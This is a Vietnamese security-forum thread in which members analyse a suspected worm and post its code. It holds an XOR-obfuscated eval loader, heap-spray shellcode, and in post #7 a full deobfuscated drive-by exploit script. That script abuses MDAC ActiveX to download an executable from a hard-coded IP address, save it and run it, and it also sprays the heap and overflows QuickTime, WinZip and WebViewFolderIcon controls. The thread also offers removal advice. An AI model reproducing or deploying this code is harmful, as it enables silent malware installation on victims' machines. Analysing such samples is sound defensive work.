xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xd3\xfe\x95\xf8\x8c\x85\xde\xa8\xaf\xac\xac\xac\xac\xd3\xfe\x95\xf8\x85\x98\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xc4\x89\x85\x87\xc8\xd6\xdd\xc8\xc9\x97\x8b\xfd\xe8\xe9\xed\xf1\xf1\xf5\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xd3\xfe\x95\xf8\x8c\x85\xd3\xfe\x95\xf8\x85\x98\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xc4\x89\x85\x87\xe8\xcc\xc6\xd7\xca\xd6\xca\x87\x8e\x87\xc3\xd1\x8b\xfd\xe8\x87\x8e\x87\xe9\xed\xf1\x87\x8e\x87\xf1\xf5\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xd3\xfe\x95\xf8\x8c\x85\xd3\xfe\x95\xf8\x85\x98\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xc4\x89\x85\x87\xe8\xf6\xfd\x87\x8e\x87\xe8\xe9\x97\x8b\xf6\xc0\x87\x8e\x87\xd7\xd3\xc0\xd7\xfd\xe8\x87\x8e\x87\xe9\xed\xf1\x87\x8e\x87\xf1\xf5\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xa8\xaf\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xd3\xfe\x94\xf8\x8c\x85\xde\xa8\xaf\xac\xac\xac\xac\xd3\xfe\x94\xf8\x85\x98\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xc4\x89\x85\x87\xe4\xe1\xea\xe1\xe7\x8b\xf6\xd1\xd7\x87\x8e\x87\xc0\xc4\xc8\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xa8\xaf\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xd3\xfe\x97\xf8\x8c\x85\xde\xa8\xaf\xac\xac\xac\xac\xd3\xfe\x97\xf8\x85\x98\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xc4\x89\x85\x87\xf2\xf6\xc6\x87\x8e\x87\xd7\xcc\xd5\xd1\x8b\xf6\xcd\x87\x8e\x87\xc0\xc9\xc9\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xd3\xfe\x97\xf8\x8c\x85\xde\xa8\xaf\xac\xac\xac\xac\xac\xd3\xfe\x97\xf8\x85\x98\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xc4\x89\x85\x87\xf6\xcd\xc0\xc9\x87\x8e\x87\xc9\x8b\xe4\xd5\x87\x8e\x87\xd5\xc9\x87\x8e\x87\xcc\xc6\xc4\xd1\xcc\x87\x8e\x87\xca\xcb\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xac\xcc\xc3\x85\x8d\xd3\xfe\x97\xf8\x8c\x85\xcb\x98\x94\x9e\xa8\xaf\xac\xac\xac\xac\xd8\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xac\xac\xd8\xa8\xaf\xa8\xaf\xac\xac\xcc\x8e\x8e\x9e\xa8\xaf\xac\xd8\xa8\xaf\xa8\xaf\xac\xcc\xc3\x85\x8d\xd3\xfe\x95\xf8\x85\x83\x83\x85\xd3\xfe\x94\xf8\x85\x83\x83\x85\xd3\xfe\x97\xf8\x8c\x85\xde\xa8\xaf\xac\xac\xd3\xc4\xd7\x85\xc1\xc4\xd1\xc4\x85\x98\x85\xfd\xe8\xe9\xed\xd1\xd1\xd5\xe1\xca\xd2\xcb\xc9\xca\xc4\xc1\x8d\xd3\xfe\x95\xf8\x89\x85\xd0\xd7\xc9\xf7\xc0\xc4\xc9\xe0\xdd\xc0\x8c\x9e\xa8\xaf\xac\xac\xcc\xc3\x85\x8d\xc1\xc4\xd1\xc4\x85\x84\x98\x85\x95\x8c\x85\xde\xa8\xaf\xac\xac\xac\xd3\xc4\xd7\x85\xcb\xc4\xc8\xc0\x85\x98\x85\x87\xc6\x9f\xf9\xf9\xd6\xdc\xd6\x87\x8e\xe2\xc0\xd1\xf7\xc4\xcb\xc1\xf6\xd1\xd7\xcc\xcb\xc2\x8d\x91\x8c\x8e\x87\x8b\xc0\xdd\xc0\x87\x9e\xa8\xaf\xac\xac\xac\xcc\xc3\x85\x8d\xe4\xe1\xea\xe7\xe1\xf6\xd1\xd7\xc0\xc4\xc8\xf6\xc4\xd3\xc0\x8d\xd3\xfe\x94\xf8\x89\x85\xcb\xc4\xc8\xc0\x89\x85\xc1\xc4\xd1\xc4\x8c\x85\x98\x98\x85\x94\x8c\x85\xde\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\xf6\xcd\xc0\xc9\xc9\xe0\xdd\xc0\xc6\xd0\xd1\xc0\x8d\xd3\xfe\x97\xf8\x89\x85\xcb\xc4\xc8\xc0\x89\x85\xcb\x8c\x85\x98\x98\x85\x94\x8c\x85\xde\xa8\xaf\xac\xac\xac\xac\xac\xd7\xc0\xd1\x98\x94\x9e\xa8\xaf\xac\xac\xac\xac\xd8\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xac\xac\xd8\xa8\xaf\xac\xd8\xa8\xaf\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x85\xd7\xc0\xd1\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xd6\xd1\xc4\xd7\xd1\x8d\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xcc\xc3\x85\x8d\x84\x85\xe8\xe1\xe4\xe6\x8d\x8c\x85\x8c\x85\xde\x85\xd6\xd1\xc4\xd7\xd1\xea\xd3\xc0\xd7\xc3\xc9\xca\xd2\x8d\x95\x8c\x9e\x85\xd8\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xd6\xd1\xc4\xd7\xd1\x8d\x8c\x9e\xa8\xaf\xa8\xaf"; var xored_str = xor_str(plain_str, 165); eval(xored_str); </script>
[Up] [Print Copy]
  [Question]   Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! 22/08/2007 12:02:33 (+0700) | #2 | 80317
[Avatar]
secmask
Elite Member

[Minus]    0    [Plus]
Joined: 29/10/2004 13:52:24
Messages: 553
Location: graveyard
Offline
[Profile] [PM] [WWW]
Forbidden

You don't have permission to access /vr/vr2.JPG on this server.
[Up] [Print Copy]
  [Question]   Re: Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! 22/08/2007 12:18:10 (+0700) | #3 | 80318
9x9=81??
Elite Member

[Minus]    0    [Plus]
Joined: 26/06/2005 12:23:59
Messages: 92
Offline
[Profile] [PM]
Check lại link hình nhé. Coi ko dc

Theo như bạn kể thì mình nghĩ con này dạng như Ardamax. Lấy chương trình dòm process nào cũng chẳng thấy đâu. Cách làm chắc cũng như thằng Gameguard giấu process của mình. Bạn có thể tham khảo ở mấy diễn đàn game, mấy chỗ họ đề dạng như phá gameguard ( tất nhiên là English smilie) ). Còn cách trị em này thì mình bó tay toàn tập smilie) .

Bạn dùng Windows Explorer ko thấy là đúng rồi. Thằng coder tốn công để ẩn process thì nó cũng ko lười đến độ ko cho ẩn trong windows explorer. Thử dùng Total Manager hay bất kỳ trình quản lý file khác xem sao.

Nếu mình đoán ko lầm thì trong fần startup cũng chẳng thấy nó lun smilie . Dẫu sao con này vẫn chưa thú vị bằng con mình đã từng bị nhiễm ( chẳng bít con j nữa mà cũng chẳng còn mẫu của nó ). Con nì đo bằng DU Meter cũng ko thấy j ! Sniff cũng ko thấy j ! Mà đen modem cứ chớp như đèn disco smilie Lấy filemon ra dòm mới bít có nó. Thế là đành ngậm ngùi ghost lại máy smilie(
[Up] [Print Copy]
  [Question]   Re: Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! 22/08/2007 12:55:08 (+0700) | #4 | 80322
9x9=81??
Elite Member

[Minus]    0    [Plus]
Joined: 26/06/2005 12:23:59
Messages: 92
Offline
[Profile] [PM]
Lúc nãy ngồi hí hửng tưởng sắp đc có code mới để excute vài em exe -> analyze ngay cái code của nó. Tình hình là thía này đây :


nguyên 1 đoạn dài \x30\x37 rùi đến

Code:
<HTML><HEAD><SCRIPT>var s=unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");do{s+=s;}while(s.length<0x1400000);s+=unescape("%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u4300%u5C3A%u2E55%u7865%u0065%uC033%u0364%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%uBF5D%uFE98%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40%uFFFF%uFF52%uE8D0%uFFD7%uFFFF%u7468%u7074%u2F3A%u382F%u2E37%u3032%u2E37%u3031%u2E35%u3931%u2F31%u6966%u656C%u702E%u7068");</SCRIPT></HEAD><BODY><EMBED SRC="----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLAAANNNNOOOOAAAQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ0000111122223333444455556666777788889999.wmv"></EMBED></BODY></HTML>


với s là cái dòng chữ tàu nì :

䅁䅁䅁䅁䅁䅁䅁䅁哫疋謼㕴͸囵皋̠㏵䧉굁�ᒾ㠨瓲섈෋�㯯痟廧庋̤曝ಋ譋ᱞ�ҋ΋쏅牵浬湯搮汬䌀尺⹕硥e쀳ͤ぀౸䂋謌ᱰ训ࡀ৫䂋贴籀䂋锼躿๎ト茄␬\闐뽐ᨶ瀯濨诿⑔跼멒�匤탿뽝ﺘຊ叨菿Ӭⲃ戤탿线`rᅲ瑨灴⼺㠯⸷〲⸷〱⸵㤱⼱楦敬瀮灨

dịch ra có nghĩa là

䅁䅁䅁䅁䅁䅁䅁䅁Zu bolt㕴͸ Lun Hu Gao ̠ ㏵䧉굁 ༶ ᒾ㠨Wa 섈 ෋ 㯯Se reflects the many ̤ sun ಋ Lan ᱞ Ҋ ΋ 쏅 Soul miles Tang determine Jing Bang䌀foot ⹕ e 쀳 ͤ ぀ ౸䂋Ge ᱰ training ࡀ ৫䂋affixed Zhou䂋teaching Kang ๎ ト eggplant ␬ \ rumbling sound 뽐 ᨶ Yingci blaming ⑔跼멒 Zhuo  Qu 탿뽝 ﺘ ຊ grumble Dao Ӭ ⲃ infringe upon a trade mark 탿 line   `r ᅲJin Hong ⼺㠯⸷ 〲 ⸷ 〱 ⸵㤱⼱ stretch Gan Jing Ling

Còn cái file media kia ko có. Dài ngoằng chắc để overflow media player roài. Chứ dòm wa dòm lại đâu có cái j để excute file exe nào đâu nhỉ ?

Với code này máy em chẳng nhiễm j cả. Ngay cả khi mở java,activex và chạy = IE6 . Đơn giản vì đến vòng lặp chỗ sau "var s = unescape ..." thì vòng lặp đến cả 20 triệu ! Máy em chạy code này dc 1 phút, hết ram ( ảo lẫn thiệt smilie) ) -> wá tải -> treo máy luôn smilie)


Chú ý lần sau đưa các dòng code dài vào thẻ [ code ] để tránh làm vỡ trang. Cám ơn.
[Up] [Print Copy]
  [Question]   Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! 03/09/2007 00:40:04 (+0700) | #5 | 82889
stunvn
Member

[Minus]    0    [Plus]
Joined: 27/08/2007 01:52:34
Messages: 6
Offline
[Profile] [PM]
Anh ơi . Mình copy đoạn code trên, bỏ vào Notepad save dưới dạng .exe nó có chạy không anh ?
[Up] [Print Copy]
  [Question]   Re: Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! 04/09/2007 23:00:32 (+0700) | #6 | 83269
Angel_A
Member

[Minus]    0    [Plus]
Joined: 04/12/2006 13:25:43
Messages: 91
Location: Dak Lak
Offline
[Profile] [PM] [WWW]
Con này là Trojan/backdoor hỗng biết hoặc chưa được đặt tên, thường lây lan wa email, thường nằm trong file tên ecard.exe hoặc file spooldr.exe.
Bạn không tìm thấy file spooldr.exe đâu vì process này được tạo ra lúc window load driver file %sysdir%\Drivers\spooldr.sys
Bạn có thể xóa file spooldr.exe sau khi remove file spooldr.sys, sau đó restore file tcpip.sys trong %SysDir%\Drivers và %SysDir%\dllcache
tìm và xóa file spooldir.ini trong "Documents and Settings\UserName" luôn.
Bạn dùng tool này thử xem nhé :wink:
http://www.greatis.com/reanimator.zip
www.ovo.vn
[Up] [Print Copy]
  [Question]   Worm mới Nguy hiểm 31/12/2011 03:16:55 (+0700) | #7 | 251695
[Avatar]
bolzano_1989
Journalist

[Minus]    0    [Plus]
Joined: 30/01/2007 12:49:15
Messages: 1406
Offline
[Profile] [PM]
Sau khi giải mã đoạn Javascript độc hại ở đầu chủ đề, mình ra được đoạn mã gốc sau, đoạn mã exploit được người viết virus này lấy từ MDAC Exploit Code:
Code:
var mm = new Array();
 var mem_flag = 0;
 function h()
 {
   mm=mm;
   setTimeout("h()", 2000);
 }
 function getb(b, bSize)
 {
   while (b.length*2<bSize)
   {
     b += b;
   }
   b = b.substring(0,bSize/2);
   return b;
 }
 function cf()
 {
   var zc = 0x0d0d0d0d;
   var a = "䍃䍃࿫㍛曉肹老↓￿譿�擯齤䋳齤滧擯뤃憇܃ꩦ맫瞇攑ߡꩦ맧쪇ၟܭꩦ맣‡༡ޏꩦ맿⺇ખݗꩦ꿻흯騬昕뇯驦擋撶޹螿鿀砇曯⩤⽬暿쾪ႇ뿯ꩤ藻뛭멤߷ꫬ⣏돯솑⢊誗騐擏撶꼇藯럨ꫬ�밴Ⴜ쾚벿ꩤ藳뛪멤߷騐擏撶'藯搐ᆰ撶껯붴໬໬໬໬ͬ뗫撼വ봘༐撺搃뉤맣鱤擓뤜饤�꘦䊮ⳬ�qᷕ℮꼝Ḅᇔ骱딊Ѥ땤褲撤㋬넪ⶲᬇထ먐ꎽꂢ瑨灴⼺㠯⸷〲⸷〱⸵㤱⼱楦敬瀮灨";
   var heapBlockSize = 0x400000;
   var pls = a.length * 2;
   var bSize = heapBlockSize - (pls+0x38);
   var b = "ఌఌ";
   b = getb(b,bSize);
   heapBlocks = (zc - 0x400000)/heapBlockSize;
   for (i=0;i<heapBlocks;i++)
   {
     mm[i] = b + a;
   }
   mem_flag = 1;
   h();
   return mm;
 }
 function startWinZip(object)
 {
   var xh = 'A';
   while (xh.length >< 231) xh+='A';
   xh+="\x0c\x0c\x0c\x0c\x0c\x0c\x0c";
   object.CreateNewFolderFromName(xh);
 }
 function startWVF()
 {
   for (i=0;i<128;i++)
   {
     try
     {
       var tar = new ActiveXObject('WebVi'+'ewFol'+'de'+'rIc'+'on.WebVi'+'ewFol'+'derI'+'con.1');
       d = 0x7ffffffe;
       b = 0x0c0c0c0c
       tar.setSlice(d, b, b, b );
     }
     catch(e)
     {
     }
   }
 }
 function elea()
 {
   var url="http://xa";
   var outValue='';
   for(i=0;i<url.length;)
   {
     outValue+='%u'+url.charCodeAt(i+1).toString(16)+url.charCodeAt(i).toString(16);
     i=i+2;
   }
   x="邐邐邐㎐㏀帒륦ﺋ⺀耋श←￿껫ᐔ愔델ᑄᐔ咍贐₄趯౬঍ᡮᑎᐔﯶ煬ᑲ气蚇潰Ũ贪ᑈᐔ贴滠攴樁?ᰘ畠螄壙᠜眲睼壚జ䔔擔敤摩樁贤滠攗樁Čၪ橣融赀䞈ᕼ樇認ᔴ䔇䯋꽓휕?숑㰤蠆파࿍?㴃蜡拹抍ᔸ竟ႍ赍⁢?ᢍᖍ귗孢ţā劒?ﳰʜ኎?藶Ṋ萱衬蒈ㄾ㰱㉉䑆㉉䑃㉇㭃ㅃ歺睰萲葬ᐔᐔᐔᐔᐔᐔᐔᐔ瑨灴⼺砯%uNaN61";
   y="഍഍";
   while(y.length><0x40000)y+=y;
   y=y.substring(0,0x3ffe4-x.length);
   o=new Array();
   for(i=0;i<450;i++)o[i]=y+x;
   z=Math.ceil(0xd0d0d0d);
   document.write('<object classid="CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F"></object>');
   z=document.scripts[0].createControlRange().length;
 }
 function yah()
 {
   try
   {
     document.write("<object classid='"+"clsid:9D39223E-AE8E-1"+"1D4-8FD3-00D0B77302"+"77' id='ta"+"rget'></"+"object>");
     myBuff = '\x0a';
     while (myBuff.length < 5000) myBuff += '\x0a\x0a\x0a\x0a';
     eval(String.fromCharCode(116,97,114,103,101,116,46,115,101,114)+"ver = myBuff;");
     eval("target"+"."+String.fromCharCode(114,101,99,101,105,118,101,40,41)+";");
   }
   catch(e)
   {
     return 0;
   }
 }
 function startOverflow(num)
 {
   if (num == 0)
   {
     try
     {
       if (! mem_flag) cf();
       yah();
       elea();
       var qt = new ActiveXObject('Quick'+'Time.Qu'+'ickTime');
       if (qt)
       {
         var qthtml = '<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="1" height="1" style="border:0px">'+
         '<param name="src" value="qt.php">'+
         '<param name="autoplay" value="true">'+
         '<param name="loop" value="false">'+
         '<param name="controller" value="true">'+
         '</object>';
         if (! mem_flag) cf();
         document.getElementById('myd'+'iv').innerHTML = qthtml;
         num = 255;
       }
     }
     catch(e)
     {
     }
     if (num = 255) setTimeout("startOverflow(1)", 2000);
     else startOverflow(1);
   }
   else if (num == 1)
   {
     try
     {
       var winzip = document.createElement("object");
       winzip.setAttribute("classid", "clsid:A09AE6"+"8F-B14D-43"+"ED-B713-BA413"+"F034904");
       var ret=winzip.CreateNewFolderFromName(unescape("%00"));
       if (ret == false)
       {
         if (! mem_flag) cf();
         startWinZip(winzip);
         num = 255;
       }
     }
     catch(e)
     {
     }
     if (num = 255) setTimeout("startOverflow(2)", 2000);
     else startOverflow(2);
   }
   else if (num == 2)
   {
     try
     {
       var tar = new ActiveXObject('WebVi'+'ewFol'+'derIc'+'on.WebVi'+'ewFol'+'derI'+'con.1');
       if (tar)
       {
         if (! mem_flag) cf();
         startWVF();
       }
     }
     catch(e)
     {
     }
   }
 }
 function GetRandString(len)
 {
   var chars = "abcdefghiklmnopqrstuvwxyz";
   var string_length = len;
   var randomstring = '';
   for (var i=0; i<string_length; i++)
   {
     var rnum = Math.floor(Math.random() * chars.length);
     randomstring += chars.substring(rnum,rnum+1);
   }
   return randomstring;
 }
 function CreateObject(CLSID, name)
 {
   var r = null;
   try
   {
     eval('r = CLSID.CreateObject(name)')
   }
   catch(e)
   {
   }
   if (!r)
   {
     try
     {
       s=1;
       eval('r = CLSID.CreateObject(name, "")')
     }
     catch(e)
     {
     }
   }
   if (!r)
   {
     try
     {
       s=1;
       eval('r = CLSID.CreateObject(name, "", "")')
     }
     catch(e)
     {
     }
   }
   if (!r)
   {
     try
     {
       s=1;
       eval('r = CLSID.GetObject("", name)')
     }
     catch(e)
     {
     }
   }
   if (!r)
   {
     try
     {
       s=1;
       eval('r = CLSID.GetObject(name, "")')
     }
     catch(e)
     {
     }
   }
   if (!r)
   {
     try
     {
       s=1;
       eval('r = CLSID.GetObject(name)')
     }
     catch(e)
     {
     }
   }
   return(r);
 }
 function XMLHttpDownload(xml, url)
 {
   try
   {
     xml.open("GET", url, false);
     xml.send(null);
   }
   catch(e)
   {
     return 0;
   }
   return xml.responseBody;
 }
 function ADOBDStreamSave(o, name, data)
 {
   try
   {
     o.Type = 1;
     o.Mode = 3;
     o.Open();
     o.Write(data);
     o.SaveToFile(name, 2);
     o.Close();
   }
   catch(e)
   {
     return 0;
   }
   return 1;
 }
 function ShellExecute(exec, name, type)
 {
   if (type == 0)
   {
     try
     {
       exec.Run(name, 0);
       return 1;
     }
     catch(e)
     {
     }
   }
   else
   {
     try
     {
       exe.ShellExecute(name);
       return 1;
     }
     catch(e)
     {
     }
   }
   return(0);
 }
 function MDAC()
 {
 var t = new Array('{BD96C5'+'56-65A3-11'+'D0-983A-00C04FC'+'29E30}', '{BD96C'+'556-65A3-11'+'D0-983A-00C0'+'4FC29E36}', '{AB9B'+'CEDD-EC7E-47'+'E1-9322-D4A21'+'0617116}', '{0006F'+'033-0000-0000-C000-000000'+'000046}', '{0006'+'F03A-0000-0000-C000-0000000'+'00046}', '{6e32'+'070a-766d-4ee6-879c-dc1fa'+'91d2fc3}', '{6414'+'512B-B978-451D-A0D8-FCFDF3'+'3E833C}', '{7F5B'+'7F63-F06F-4331-8A26-339E03'+'C0AE3D}', '{0672'+'3E09-F4C2-43'+'c8-8358-09FCD1D'+'B0766}', '{639F'+'725F-1B2D-48'+'31-A9FD-87484'+'7682010}', '{BA018'+'599-1DB3-44f'+'9-83B4-46145'+'4C84BF8}', '{D0C07'+'D56-7C69-43F1-B4'+'A0-25F5A1'+'1FAB19}', '{E8C'+'CCDDF-CA28-496b-B'+'050-6C07C962'+'476B}', null);
   var v = new Array(null, null, null);
   var i = 0;
   var n = 0;
   var ret = 0;
   var urlRealExe = 'http://87.207.105.191/file.php';
   while (t[i] && (! v[0] || ! v[1] || ! v[2]) )
   {
     var a = null;
     try
     {
       a = document.createElement("object");
       a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
     }
     catch(e)
     {
       a = null;
     }
     if (a)
     {
       if (! v[0])
       {
         v[0] = CreateObject(a, "msxml2.XMLHTTP");
         if (! v[0]) v[0] = CreateObject(a, "Microso"+"ft.XM"+"LHT"+"TP");
         if (! v[0]) v[0] = CreateObject(a, "MSX"+"ML2.Se"+"rverXM"+"LHT"+"TP");
       }
       if (! v[1])
       {
         v[1] = CreateObject(a, "ADODB.Str"+"eam");
       }
       if (! v[2])
       {
         v[2] = CreateObject(a, "WSc"+"ript.Sh"+"ell");
         if (! v[2])
         {
           v[2] = CreateObject(a, "Shel"+"l.Ap"+"pl"+"icati"+"on");
           if (v[2]) n=1;
         }
       }
     }
     i++;
   }
   if (v[0] && v[1] && v[2])
   {
     var data = XMLHttpDownload(v[0], urlRealExe);
     if (data != 0)
     {
       var name = "c:\\sys"+GetRandString(4)+".exe";
       if (ADOBDStreamSave(v[1], name, data) == 1)
       {
         if (ShellExecute(v[2], name, n) == 1)
         {
           ret=1;
         }
       }
     }
   }
   return ret;
 }
 function start()
 {
   if (! MDAC() )
   {
     startOverflow(0);
   }
 }
 start();
>
Kiểm tra các file bạn nghi ngờ có virus:
http://goo.gl/m3Fb6C
http://goo.gl/EqaZt
http://goo.gl/gEF8e
Nhận mẫu virus qua FB: http://goo.gl/70Xo23
HVA Malware Response Team: kiemtravirus@gmail.com
Trợ giúp diệt virus: http://goo.gl/2bqxY
[Up] [Print Copy]
  [Question]   Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! 26/01/2012 21:32:44 (+0700) | #8 | 252847
X-code
Member

[Minus]    0    [Plus]
Joined: 24/01/2012 10:17:28
Messages: 12
Offline
[Profile] [PM]
Pro thế.
Mình chưa viết được 1 cái nào. Về phải học làm hacker mới được
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|